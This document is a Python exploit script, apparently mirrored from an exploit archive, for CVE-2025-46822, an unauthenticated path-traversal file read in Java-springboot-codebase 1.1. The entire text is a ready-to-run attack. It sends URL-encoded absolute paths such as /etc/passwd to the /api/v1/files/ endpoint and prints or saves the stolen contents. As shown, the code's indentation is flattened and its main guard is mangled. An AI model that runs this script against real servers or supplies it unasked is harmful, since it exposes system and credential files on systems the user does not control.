## https://sploitus.com/exploit?id=PACKETSTORM:195336
# Exploit Title: Java-springboot-codebase 1.1 - Arbitrary File Read
# Google Dork:
# Date: 23/May/2025
# Exploit Author: d3sca
# Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase
# Software Link: https://github.com/OsamaTaher/Java-springboot-codebase
# Version: [app version] 1.1
# Tested on: Debian Linux
# CVE : CVE-2025-46822
#usage: python3 cve-2025-46822.py http://victim.com /etc/passwd
import argparse
import requests
from urllib.parse import quote
def exploit(target, file_path, output=None):
# Ensure the file path is absolute
if not file_path.startswith('/'):
print("[!] Warning: File path is not absolute. Prepending '/' to make it absolute.")
file_path = '/' + file_path.lstrip('/')
# URL-encode the file path
encoded_path = quote(file_path, safe='')
# Construct the target URL
endpoint = f"/api/v1/files/{encoded_path}"
url = target.rstrip('/') + endpoint
print(f"[*] Attempting to retrieve: {file_path}")
print(f"[*] Sending request to: {url}")
try:
response = requests.get(url, allow_redirects=False, timeout=10)
if response.status_code == 200:
print("[+] File retrieved successfully!")
if output:
with open(output, 'wb') as f:
f.write(response.content)
print(f"[+] Content saved to: {output}")
else:
print("\nFile contents:")
print(response.text)
else:
print(f"[-] Failed to retrieve file. Status code: {response.status_code}")
print(f"[-] Response: {response.text[:200]}") # Show first 200 chars of response
except Exception as e:
print(f"[-] An error occurred: {str(e)}")
if name == "main":
parser = argparse.ArgumentParser(description="Exploit Path Traversal Vulnerability in Unauthenticated File API")
parser.add_argument("target", help="Target base URL (e.g., http://victim:8080)")
parser.add_argument("file_path", help="Absolute path to target file (e.g., /etc/passwd)")
parser.add_argument("-o", "--output", help="Output file to save contents")
args = parser.parse_args()
exploit(args.target, args.file_path, args.output)